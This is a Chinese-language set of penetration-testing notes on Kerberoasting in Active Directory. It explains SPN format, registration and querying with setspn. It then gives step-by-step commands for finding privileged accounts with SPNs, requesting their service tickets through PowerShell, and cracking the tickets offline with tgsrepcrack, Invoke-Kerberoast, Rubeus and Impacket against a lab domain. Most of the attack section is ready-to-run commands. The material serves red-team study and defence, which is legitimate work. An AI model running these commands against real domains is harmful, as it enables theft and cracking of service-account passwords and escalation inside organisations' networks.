SPN简介
SPN是服务器上所运行服务的唯一标识,每个使用kerberos的服务都需要一个SPN;一种注册在AD上机器账户下,另一种注册在域用户下,当一个服务权限为localsystem或者networkservice,则SPN注册在机器账户Computers下,当一个机器服务的权限为一个域用户,则SPN注册在域用户账户Users下
格式:
serviceclass/host:port/servicename
serviceclass:服务名称,如smtp、dns等等
host:FQDN&NETBIOS,如serversmtp.test.com&serversmtp
如果服务运行在默认端口则端口可以省略
注册
setspn -A mysql/OWA2013.rootkit.org:3306 backup
注册一个名为mysql的SPN,分配至backup用户
setspn -S mysql/OWA2013.rootkit.org:3306 backup
验证SPN不存在重复项后进行添加、该参数是用server08后系统开始默认提供
SPN查询
已知SPN也是通过ldap查询的,当前用户也必须是域用户或者机器用户
setspn -q */*
setspn -T rootkit.org -q */*
关于域用户&机器用户注册的SPN,如下分别即可
确认调用ldap协议
Kerberoasting利用
获得SPN修改权限后,能够为指定的域用户添加一个SPN,这样就可以随时获得目标的TGS,通过破解hash能够获得其用户口令
寻找有价值的SPN
注意这个模块只有域控上才有
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
powerview同样可查
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last
kerberoast
powershell: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
vbs: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
获得指定服务TGS
$SPNName = 'MSSQLSvc/Srv-Web-Kit.rootkit.org'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
导出凭证
获得所以服务TGS
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
破解凭证
tgsrepcrack
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
python3 tgsrepcrack.py 字典.txt 凭证.kirbi
Invoke-Kerberoast
https://github.com/EmpireProject/Empire/blob/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/credentials/Invoke-Kerberoast.ps1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
Rubeus
Rubeus.exe kerberoast
Impacket
GetUserSPNs_windows.exe -request -dc-ip 192.168.3.144 -debug rootkit.org/sqladmin